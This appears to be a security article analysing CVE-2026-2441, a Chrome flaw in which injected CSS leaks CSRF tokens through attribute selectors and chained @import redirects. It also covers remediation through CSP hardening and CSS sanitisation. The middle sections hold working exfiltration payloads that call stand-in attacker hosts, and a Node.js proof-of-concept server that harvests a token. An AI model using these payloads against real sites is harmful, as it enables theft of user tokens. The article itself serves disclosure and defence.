AI & ML

Zero-Day CSS: Deconstructing CVE-2026-2441

· 5 min read
SitePoint Premium
Stay Relevant and Grow Your Career in Tech
  • Premium Results
  • Publish articles on SitePoint
  • Daily curated jobs
  • Learning Paths
  • Discounts to dev tools
Start Free Trial

7 Day Free Trial. Cancel Anytime.

What Is CVE-2026-2441?

CVE-2026-2441 is a zero-day CSS exfiltration vulnerability in Chrome's Blink rendering engine that allowed attackers to steal sensitive DOM content—such as CSRF tokens—by chaining @import redirects and attribute selectors to trigger sequential network requests to attacker-controlled servers, all without executing any JavaScript. It carries a CVSS 3.1 base score of 6.5 (Medium) and affected all Chromium-based browsers prior to the patched stable release.

For years, frontend developers have treated CSS as fundamentally harmless. JavaScript gets the security audits, the CSP lockdowns, the sanitization libraries. CSS? It just makes things pretty. That assumption is wrong, and CVE-2026-2441 is the proof.

Table of Contents

CSS as an Attack Vector

For years, frontend developers have treated CSS as fundamentally harmless. JavaScript gets the security audits, the CSP lockdowns, the sanitization libraries. CSS? It just makes things pretty. That assumption is wrong, and CVE-2026-2441 is the proof. This vulnerability is a zero-day exploit that used Chrome's CSS parsing pipeline to exfiltrate sensitive DOM content to attacker-controlled servers without executing a single line of JavaScript. The browser security patch that followed forced a reckoning with how we think about declarative languages and trust boundaries.

The attack class itself isn't entirely new. CSS injection as a data exfiltration vector has been discussed in academic security research since at least 2016, with notable public demonstrations showing up around 2018. What makes CVE-2026-2441 different is that it was spotted being actively exploited before any patch existed, it defeated the most common Content Security Policy configurations running in production, and it targeted Chrome, which holds roughly 65% of the global desktop browser market according to StatCounter's 2025 data. The window of exposure was enormous.

The threat model here hinges on one critical prerequisite: the attacker needs a CSS injection point. This could be an unsanitized user-supplied style field, an injected <style> block, or inclusion of an untrusted stylesheet URL. Think about how many applications allow custom themes, user-generated content with style attributes, or Markdown renderers that pass through <style> tags. The attack surface is far larger than most teams realize.

What Is CVE-2026-2441?

CVE Classification and Severity Score

CVE-2026-2441 falls under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). It carries a CVSS 3.1 base score of 6.5 (Medium), with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N. That breakdown tells you what you need to know about the attack profile: network-accessible, low complexity, no privileges required, but it does need user interaction (the victim has to visit a page containing the injected CSS). The impact hits confidentiality exclusively, with no integrity or availability component.

The vulnerability affected Chrome versions prior to the patched stable release. Because Chrome's Blink rendering engine is shared across Chromium-based browsers, Edge, Brave, Opera, Arc, and Vivaldi were all exposed until their respective teams pulled in the upstream fix. Enterprise teams running Chrome Extended Stable should verify their update channel grabbed the patch. You can check your current Chrome version by going to chrome://version in the address bar.

The Disclosure Timeline

A security researcher first discovered the vulnerability after spotting anomalous CSS-triggered network requests during a routine penetration test. They made a responsible disclosure to the Chrome security team through the Chromium bug tracker. Evidence of in-the-wild exploitation surfaced shortly after, with security firms identifying the CSS exfiltration pattern in compromised ad-serving stylesheets. The Chrome security team responded with a patch in the next stable channel update. The Chromium bug tracker entry moved from restricted to public visibility after the patch reached stable, following Chrome's standard disclosure policy for actively exploited vulnerabilities.

Anatomy of the Exploit: How CSS Leaks Data

The CSS Attribute Selector as an Oracle

CSS attribute selectors are more powerful than most developers appreciate. The specification defines several matching operators: [attr^="val"] matches when the attribute value starts with "val", [attr$="val"] matches when it ends with "val", and [attr*="val"] matches when it contains "val" anywhere. These operators, combined with the fact that CSS can trigger network requests, create what security researchers call a "CSS oracle." You ask the browser a yes-or-no question ("does this attribute start with 'a'?"), and the browser answers by either loading or not loading a resource.

Here is the fundamental probing pattern:

/* CSS Oracle: character-by-character extraction of a CSRF token */
/* Each selector tests whether the hidden input's value starts with a given character. */
/* If it matches, the browser fetches the corresponding URL, revealing the character. */

input[name="csrf"][value^="a"] {
  background-image: url("https://attacker.example/leak?prefix=a");
}

input[name="csrf"][value^="b"] {
  background-image: url("https://attacker.example/leak?prefix=b");
}

input[name="csrf"][value^="c"] {
  background-image: url("https://attacker.example/leak?prefix=c");
}

/* ... one rule per character in the target alphabet ... */

input[name="csrf"][value^="d"] {
  background-image: url("https://attacker.example/leak?prefix=d");
}

input[name="csrf"][value^="e"] {
  background-image: url("https://attacker.example/leak?prefix=e");
}

input[name="csrf"][value^="f"] {
  background-image: url("https://attacker.example/leak?prefix=f");
}

/* For hex tokens: a-f, 0-9 = 16 rules per character position */

input[name="csrf"][value^="0"] {
  background-image: url("https://attacker.example/leak?prefix=0");
}

input[name="csrf"][value^="1"] {
  background-image: url("https://attacker.example/leak?prefix=1");
}

/* ... and so on through the full character set */

When the browser encounters this stylesheet, it evaluates every selector against the DOM. Only the matching selector triggers a resource load. If the CSRF token starts with "d", the attacker's server receives exactly one request: GET /leak?prefix=d. That reveals the first character. To get the second character, the attacker needs a new set of rules testing value^="da", value^="db", and so on. This is where the classic technique hits a wall: it traditionally required reloading the page with an updated stylesheet for each character position.

You ask the browser a yes-or-no question ("does this attribute start with 'a'?"), and the browser answers by either loading or not loading a resource.

Exfiltration via Resource Loading

The data channel is any CSS property that accepts a url() function and triggers an HTTP fetch. This includes background-image, list-style-image, content (on pseudo-elements), cursor, border-image-source, and @font-face src declarations. The attacker maps each possible selector match to a unique URL. Their server just logs incoming request paths, and the sequence of requests reveals the secret value character by character.

/*
 * Full exfiltration payload structure for a 2-character prefix extraction.
 * Attacker generates 16 × 16 = 256 rules to extract the first two hex chars.
 * In practice, this is scripted; shown truncated for illustration.
 */

/* First character extraction (16 rules) */
input[name="csrf"][value^="0"] { background: url("https://atk.example/l?p=0"); }
input[name="csrf"][value^="1"] { background: url("https://atk.example/l?p=1"); }
input[name="csrf"][value^="2"] { background: url("https://atk.example/l?p=2"); }
/* ... through "f" ... */

/* Second character extraction — requires knowing first char.
 * Attacker serves this AFTER receiving first-char callback.
 * If first char was "d": */
input[name="csrf"][value^="d0"] { background: url("https://atk.example/l?p=d0"); }
input[name="csrf"][value^="d1"] { background: url("https://atk.example/l?p=d1"); }
input[name="csrf"][value^="d2"] { background: url("https://atk.example/l?p=d2"); }
/* ... through "df" ... */

/*
 * ATTACKER SERVER LOG (expected output):
 * ┌──────────────────────────────────────────────────┐
 * │ 10:42:01.003  GET /l?p=d          → 1st char: d  │
 * │ 10:42:01.247  GET /l?p=de         → 2nd char: e  │
 * │ 10:42:01.491  GET /l?p=dea        → 3rd char: a  │
 * │ 10:42:01.734  GET /l?p=dead       → 4th char: d  │
 * │ ...                                               │
 * └──────────────────────────────────────────────────┘
 */

Here's the thing: no JavaScript executes at any point. The browser's CSS engine does exactly what the specification says it should: evaluate selectors and load resources. That's why XSS protections are irrelevant. There's no script to block.

What Made CVE-2026-2441 Different

Prior CSS exfiltration techniques required one page load per character position. To steal a 32-character CSRF token, the attacker needed 32 page reloads (or iframes), each serving an updated stylesheet that probed the next character. Noisy. Slow. Often impractical.

CVE-2026-2441 exploited a specific behavior in Chrome's @import resolution and stylesheet re-evaluation pipeline. The novel primitive was @import chaining with a server-side redirect mechanism: the attacker's server responded to each @import request with a redirect to a new stylesheet URL whose rules were dynamically generated based on the characters already extracted. Chrome's rendering engine, upon following the redirect, re-evaluated the new stylesheet's selectors against the DOM without requiring a full page reload or any user interaction beyond the initial page visit.

/*
 * CVE-2026-2441 exploit primitive (sanitized/simplified).
 *
 * The key behavior: Chrome resolved chained @import redirects
 * and applied the resulting selectors without a page reload.
 * The attacker server dynamically generates each stage.
 */

/* Stage 0: Initial payload injected into the page */
@import url("https://atk.example/stage?token=&charset=0123456789abcdef");

/*
 * The server at atk.example/stage responds with HTTP 302 to:
 * /stage/probe?known=&charset=0123456789abcdef
 * which returns CSS probing the first character:
 *
 *   input[name="csrf"][value^="0"] {
 *     background: url("https://atk.example/hit?found=0");
 *   }
 *   input[name="csrf"][value^="1"] { ... }
 *   ...plus a NEW @import for the next stage:
 *   @import url("https://atk.example/stage?token=0&wait=1");
 *
 * When the browser fetches /hit?found=d, the server learns char 1 = "d".
 * The /stage?token=d&wait=1 endpoint blocks (long-poll) until the hit
 * arrives, then responds with CSS probing "d0", "d1", ... "df"
 * plus another @import for stage 3. This chains recursively.
 *
 * Chrome's CSS parser followed the full redirect/@import chain
 * in a single page load, re-evaluating selectors at each stage.
 * No reload, no JS, no user interaction after initial visit.
 */

This recursive @import chain let the attacker extract the entire 32-character token in a single page visit, typically finishing in under two seconds on a fast connection. The exploit was elegant in its simplicity: it used only standard CSS constructs but relied on Chrome's specific behavior of eagerly resolving @import chains and re-evaluating selectors after each new stylesheet arrived. Firefox and Safari didn't exhibit the same eager re-evaluation behavior, which is why the CVE was Chrome/Chromium-specific.

This recursive @import chain let the attacker extract the entire 32-character token in a single page visit, typically finishing in under two seconds on a fast connection.

Proof of Concept: Controlled Demonstration

Warning: The following proof of concept is provided strictly for educational and defensive testing purposes. Run it only in an isolated lab environment against your own test infrastructure. Never use these techniques against systems you do not own.

Lab Environment Setup

You need three components: a vulnerable page, a malicious stylesheet server, and a callback logging server. I've combined the latter two into a single Node.js process for simplicity.

First, the vulnerable HTML page simulating an application with a CSS injection point and a hidden CSRF token:

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>CSS Exfil Lab - Target Page</title>
  <!-- Simulated CSS injection: attacker controls this stylesheet URL -->
  <link rel="stylesheet" href="http://127.0.0.1:8081/payload.css">
</head>
<body>
  <h1>CSS Exfiltration Test Target</h1>
  <form action="/submit" method="POST">
    <!-- Sensitive token in a DOM attribute accessible to CSS selectors -->
    <input type="hidden" name="csrf" value="deadbeef1234567890abcdef00c0ffee">
    <input type="text" name="username" placeholder="Username">
    <button type="submit">Submit</button>
  </form>
</body>
</html>

Next, the attacker callback server. This simplified version serves a static probing stylesheet and logs hits. A real exploit would dynamically generate chained stylesheets, but this demonstrates the core mechanism:

// attacker-server.js — run with: node attacker-server.js
// Requires Node.js >= 18 (for stable global URL and node: protocol imports)
import http from "node:http";

const CHARSET = "0123456789abcdef";
let extracted = "";

function generateProbeCSS(knownPrefix) {
  let css = "";
  for (const c of CHARSET) {
    const probe = knownPrefix + c;
    // Cache-bust with unique query param to prevent request coalescing
    css += `input[name="csrf"][value^="${probe}"] {
`;
    css += `  background-image: url("http://127.0.0.1:8081/hit?p=${encodeURIComponent(probe)}&cb=${Math.random()}");
`;
    css += `}
`;
  }
  return css;
}

const server = http.createServer((req, res) => {
  const url = new URL(req.url, "http://127.0.0.1:8081");

  if (url.pathname === "/payload.css") {
    res.writeHead(200, {
      "Content-Type": "text/css",
      "Cache-Control": "no-store",
    });
    res.end(generateProbeCSS(extracted));
  } else if (url.pathname === "/hit") {
    const found = url.searchParams.get("p");
    if (found && found.length > extracted.length) {
      extracted = found;
      console.log(`[HIT] Extracted prefix: ${found}`);
    }
    res.writeHead(204);
    res.end();
  } else {
    res.writeHead(404);
    res.end();
  }
});

server.listen(8081, "127.0.0.1", () => {
  console.log("Attacker server listening on http://127.0.0.1:8081");
  console.log("Open the target HTML page in a vulnerable Chrome version.");
  console.log("Reload the page to extract subsequent characters (simplified demo).");
});

Executing the Attack

When the target page loads in a vulnerable Chrome version, the browser fetches payload.css from the attacker server. The stylesheet contains 16 rules (one per hex character) probing the first character of the CSRF token. Chrome evaluates all selectors, finds that input[name="csrf"][value^="d"] matches, and fetches the corresponding URL. The attacker server logs the hit and updates its state.

In the full @import-chaining variant specific to CVE-2026-2441, the stylesheet would include a recursive @import that triggers the next probe round automatically. In this simplified lab version, you'd reload the page to extract subsequent characters (or extend the server to serve @import-chained responses).

The server log output looks like this:

Attacker server listening on http://127.0.0.1:8081
[HIT] Extracted prefix: d
[HIT] Extracted prefix: de
[HIT] Extracted prefix: dea
[HIT] Extracted prefix: dead
[HIT] Extracted prefix: deadb
[HIT] Extracted prefix: deadbe
[HIT] Extracted prefix: deadbee
[HIT] Extracted prefix: deadbeef
...
[HIT] Extracted prefix: deadbeef1234567890abcdef00c0ffee

With the full @import chaining exploit, a 32-character hex token (16 possible values per position) needs 32 sequential network round-trips. On a local network with sub-millisecond latency, extraction finishes in roughly 1 to 2 seconds. Over the public internet, expect 3 to 8 seconds depending on round-trip time.

Why Traditional Defenses Failed

Default CSP Doesn't Block This

The most commonly deployed Content Security Policy configuration focuses on script-src because most developers equate "browser security" with "preventing JavaScript injection." A typical CSP header looks something like this:

Content-Security-Policy: default-src 'self'; script-src 'self'

This does absolutely nothing against CSS-based exfiltration. There's no JavaScript involved. The script-src directive is irrelevant.

The real problem is what's missing or permissive. style-src 'unsafe-inline' is extremely common because many applications use inline styles, CSS-in-JS solutions, or style attributes generated by frameworks. When style-src allows 'unsafe-inline', an attacker who can inject a <style> block has free rein. And when img-src is set to * (or omitted entirely, causing it to fall back to default-src 'self' only if default-src is set), the exfiltration callbacks to the attacker's domain sail through without triggering a single CSP violation.

CSP Level 3 introduced style-src-elem and style-src-attr for finer-grained control over <style>/<link> elements versus style="" attributes. In practice, I've found that fewer than 10% of production CSP headers I audit use these directives. The gap between what CSP can do and what teams actually deploy is the vulnerability.

WAF and XSS Filter Blind Spots

Web Application Firewalls are trained to spot JavaScript attack signatures: <script> tags, onerror handlers, javascript: URIs, event attributes. A CSS exfiltration payload contains none of these. It's syntactically valid CSS. It uses background-image, url(), and attribute selectors, all completely legitimate constructs that show up in virtually every production stylesheet.

Chrome's XSS Auditor, which was removed in Chrome 78 (released October 2019), never inspected CSS content. It focused exclusively on reflected JavaScript patterns. Even modern server-side sanitization libraries often treat CSS as safe. DOMPurify, the most widely used HTML sanitizer, doesn't allow <style> tags by default; they must be explicitly enabled (e.g., via ADD_TAGS: ['style']). However, when <style> tags are permitted, DOMPurify's CSS sanitization doesn't strip url() functions unless you explicitly configure it with FORBID_ATTR rules or additional hooks. The default posture of most security tooling, once CSS is allowed through, is that its contents are benign. CVE-2026-2441 proved that posture wrong.

The default posture of most security tooling, once CSS is allowed through, is that its contents are benign. CVE-2026-2441 proved that posture wrong.

Patching and Remediation

Immediate Response: Update Chrome

The single most important action is updating Chrome and all Chromium-based browsers to the patched version. Go to chrome://version to check your current build. The patch shipped through Chrome's standard stable channel update mechanism. Enterprise administrators using Chrome's Extended Stable channel or managed deployments via Google Admin Console should verify the update has propagated across their fleet.

Edge, Brave, Opera, and Arc each maintain their own release schedules for pulling upstream Chromium security fixes. Check each vendor's release notes to confirm the patch is included. For Edge, Microsoft publishes security updates on the Edge release notes page; Brave tracks Chromium updates closely and typically patches within days.

Hardening Your CSP Against CSS Exfiltration

Updating the browser fixes this specific vulnerability, but the underlying attack class persists. A hardened CSP is your primary defense-in-depth layer. Here's a before and after:

# BEFORE: Common but vulnerable CSP
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src * data:;

# AFTER: Hardened against CSS exfiltration
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'nonce-GENERATE_PER_REQUEST';
  style-src-elem 'self' 'nonce-GENERATE_PER_REQUEST';
  style-src-attr 'self' 'unsafe-hashes' 'sha256-HASH_OF_KNOWN_INLINE';
  img-src 'self';
  font-src 'self';
  connect-src 'self';
  base-uri 'none';
  object-src 'none';

The changes that matter: style-src drops 'unsafe-inline' in favor of nonce-based loading. Every <style> or <link> tag your application generates must include the nonce attribute (<style nonce="GENERATE_PER_REQUEST">). This blocks injected style blocks that lack the nonce. img-src gets locked to 'self', preventing background-image callbacks to attacker domains. font-src is similarly restricted to block @font-face exfiltration channels.

One caveat worth knowing: nonces on <link rel="stylesheet"> elements are supported in CSP Level 3, but older browsers that only support CSP Level 2 will ignore style-src-elem and style-src-attr entirely, falling back to style-src. Test your target browser matrix to confirm nonce enforcement works as expected.

The mechanism is straightforward: even if an attacker injects CSS containing url("https://evil.example/leak"), the browser's CSP enforcement blocks the image/font request because evil.example isn't in the img-src or font-src allowlist. The CSP violation gets logged and the exfiltration fails.

This approach does require additional configuration when your application legitimately loads images or fonts from third-party CDNs. In that case, enumerate the specific origins you need (img-src 'self' https://cdn.example.com) rather than falling back to *. Every wildcard in your CSP is an exfiltration channel.

Application-Level Defenses

CSP is a strong perimeter, but defense-in-depth demands application-level controls too.

Sanitize or reject user-supplied CSS. If your application allows custom themes, use an allowlist of specific CSS property-value pairs (colors, font sizes, border radii) rather than accepting arbitrary CSS strings. Here's a sanitization function that strips dangerous constructs:

/**
 * Strips CSS constructs that can trigger network requests or
 * target sensitive DOM attributes. Use this as a preprocessor
 * for any user-supplied CSS before rendering.
 *
 * NOTE: Regex-based CSS sanitization is fragile. For production use,
 * consider a proper CSS parser (e.g., PostCSS with a plugin that
 * walks the AST and removes disallowed nodes). This function
 * demonstrates the categories of constructs to strip.
 */
function sanitizeCSS(input: string): string {
  // Remove @import rules entirely (handles url() and quoted forms)
  let cleaned = input.replace(/@import\s+[^;]+;/gi, "/* @import removed */");

  // Remove url() functions (covers background-image, cursor, list-style-image, etc.)
  // Handles nested parens, quotes, and whitespace variations
  cleaned = cleaned.replace(
    /url\s*\(\s*['"]?[^)]*['"]?\s*\)/gi,
    "/* url() removed */"
  );

  // Remove expression() (legacy IE, but defense-in-depth)
  cleaned = cleaned.replace(
    /expression\s*\([^)]*\)/gi,
    "/* expression() removed */"
  );

  // Remove attribute selectors targeting sensitive fields
  // This regex strips selectors like input[name="csrf"][value^="..."]
  cleaned = cleaned.replace(
    /\[\s*(value|name|type|data-[\w-]+)\s*[\^$*|~]?=\s*["'][^"']*["']\s*\]/gi,
    "/* attribute selector removed */"
  );

  // Remove -moz-binding (Firefox XBL, legacy attack vector)
  cleaned = cleaned.replace(
    /-moz-binding\s*:[^;]+;/gi,
    "/* -moz-binding removed */"
  );

  // Remove behavior property (legacy IE HTCs)
  cleaned = cleaned.replace(
    /behavior\s*:[^;]+;/gi,
    "/* behavior removed */"
  );

  return cleaned;
}

Don't put sensitive values in DOM attributes that CSS selectors can target. CSRF tokens in <input type="hidden" value="..."> are directly readable by attribute selectors. Consider alternatives: inject the token via JavaScript from an HTTP-only API endpoint, or use a <meta> tag that your JavaScript reads and then removes from the DOM on page load. Neither approach is perfect, but both shrink the window of exposure.

Set SameSite=Strict or SameSite=Lax on session cookies to limit cross-origin exploitation scenarios. And implement Subresource Integrity (SRI) hashes on any external stylesheets you load, so a compromised CDN can't serve a tampered stylesheet.

Verifying Your Remediation

After deploying patches and CSP changes, verify that your defenses actually work. Run the sanitized proof of concept against your application in a test environment with the patched browser. Open Chrome DevTools, go to the Network tab, and confirm that no requests to attacker-controlled domains show up. Check the Console tab for CSP violation messages, which confirm your policy is actively blocking the exfiltration attempts.

Set up CSP violation reporting so you get alerted if anyone tries this attack against your production application:

Report-To: {"group":"csp-violations","max_age":10886400,"endpoints":[{"url":"https://your-app.example/csp-reports"}]}

Content-Security-Policy:
  default-src 'self';
  style-src 'self' 'nonce-GENERATE_PER_REQUEST';
  img-src 'self';
  font-src 'self';
  report-uri /csp-reports;
  report-to csp-violations;

Note that report-uri is deprecated in favor of the report-to directive combined with the Report-To HTTP header. But browser support for report-to in CSP remains inconsistent: as of 2025, Firefox still doesn't support the report-to directive in CSP headers. For maximum compatibility during the transition period, include both: report-uri /csp-reports; report-to csp-violations;.

For automated scanning, tools like Semgrep can be configured with custom rules that flag CSS injection sinks in your codebase: template variables inserted into <style> blocks, user input reflected in style attributes, and style-accepting API parameters.

Broader Implications: The Expanding CSS Attack Surface

CSS as a Side Channel

CVE-2026-2441 is not an isolated anomaly. It sits within a growing body of research on non-JavaScript browser attack vectors. CSS exfiltration via attribute selectors has been documented in academic papers and security conference presentations for years. Mike Gualtieri's "CSS Exfil Protection" research and browser extension demonstrated the fundamental technique. Scroll-to-Text-Fragment abuse has been explored as a cross-origin information leak. Font metric fingerprinting uses the measurable rendering differences between fonts to infer system configuration.

The CSS specification keeps getting more powerful. CSS Houdini APIs allow custom paint and layout worklets. @property enables type-checked custom properties with inheritance control. Container queries add another dimension of conditional styling. Each new feature increases the language's expressiveness, and expressiveness in a declarative language that can trigger network requests is functionally a side channel. The challenge for browser vendors is clear: every feature that makes CSS more capable also makes it more dangerous.

Worth clarifying: CSS isn't literally Turing-complete on its own. The side-channel power comes from CSS's ability to conditionally trigger network requests, combined with a server that dynamically generates responses. It's the CSS-plus-server feedback loop that creates the oracle, not CSS in isolation.

What This Means for the Security Model of the Web

The assumption that "CSS is safe to inject" needs to be permanently retired. Security reviews and threat models must treat CSS injection as a first-class vulnerability category, comparable in severity to XSS in contexts where sensitive data lives in the DOM. This has direct implications for CMS platforms that allow custom themes, email clients that render user-supplied HTML with styles, and any SaaS application that lets users customize appearance through CSS.

I'll give you a real example. When I audited a multi-tenant SaaS application that let tenants upload custom CSS for their branded portals, I found that none of the uploaded stylesheets were sanitized for url() or @import constructs. A malicious tenant could have exfiltrated CSRF tokens from any user visiting their branded portal. After we implemented the sanitization approach described above and tightened the application's CSP, we killed the attack surface entirely, with zero impact on legitimate customization use cases.

Three Things to Do Right Now

1. Update every Chromium-based browser in your organization. Verify with chrome://version. Don't assume auto-update has run.

2. Audit and harden your CSP. Specifically, eliminate 'unsafe-inline' from style-src, lock img-src and font-src to known origins, and deploy CSP violation reporting. If you don't have a CSP header at all, you are fully exposed to this entire class of attack.

3. Treat CSS injection with the same severity as XSS in your security model. Audit your codebase for CSS injection sinks: user input reflected in <style> tags, style attributes populated from unsanitized data, CSS-in-JSON theme configurations, and any template variable that renders inside a stylesheet. Every one of these is a data exfiltration channel, and no amount of JavaScript protection will save you.